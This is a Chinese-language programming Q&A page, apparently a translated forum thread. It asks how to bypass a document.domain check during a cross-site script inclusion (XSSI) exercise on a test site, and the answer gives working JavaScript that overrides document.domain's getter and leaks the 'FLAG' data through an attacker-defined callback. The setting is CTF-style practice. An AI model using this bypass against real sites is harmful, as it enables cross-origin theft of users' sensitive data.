javascript - 如何绕过 document.domain 检查?
问题描述
我正在尝试在测试站点上执行 XSSI。在易受攻击的站点 vuln.com 中有一个页面 vuln.com/xssi 可以从 vuln.com/displaysensitivedata 动态加载脚本:
(function (sensitivedata) {
if (document.domain === 'vuln.com') {
displaysensitiveinfo(sensitivedata);
}
})([['data1', 'FLAG{}']]);
我的目标是窃取标志,创建受害者将访问的攻击者页面。包括脚本也包括敏感数据,在我的攻击者页面中,我使 displaysensitiveinfo(sensitivedata) 方法泄漏了数据。
<script src="vuln.com/displaysensitivedata"></script>
function displaysensitiveinfo(sensitivedata){
console.log(sensitivedata);
}
但我无法通过 document.domain 的检查。
如何覆盖 document.domain 以绕过检查?
解决方案
vuln.com/displaysensitivedata 上的脚本是一个立即调用的函数表达式 (IIFE),因此您需要确保在加载该脚本之前displaysensitiveinfo
评估您的函数定义。
然后你可以通过重新定义它的getter来强制document.domain
返回:vuln.com
// this script must be loaded BEFORE the script at vuln.com/displaysensitivedata
Object.defineProperty(document, 'domain', {get: () => "vuln.com"});
function displaysensitiveinfo(data) {
alert(`gotcha ${data}`);
}
// vuln.com/displaysensitivedata
(function (sensitivedata) {
if (document.domain === 'vuln.com') {
displaysensitiveinfo(sensitivedata);
}
})([['data1', 'FLAG{}']]);
推荐阅读
- sql-server - 使用 COUNT SQL Server 过滤表
- go - SSH 连接的操作超时
- spring - 使用片段 thymeleaf 以模态填充表单的数据
- json - 如何使用 Microsoft Graph API 获得完整响应或设置分页?
- r - 查找大于 r 中特定频率的特定值的数量
- command - 如何将 IP 查找命令添加到 discord.js 机器人
- html - 根据内容的大小扩展文本区域
- javascript - 发送/解释从 Javascript 发送到 Python 的 JSON 的问题
- angularjs - 如何从不同的页面角度检索数据
- ios - 是否有可能,以及如何在使用 frida gadget 重新打包 iOS 应用程序时将键值对添加到新的权利文件中?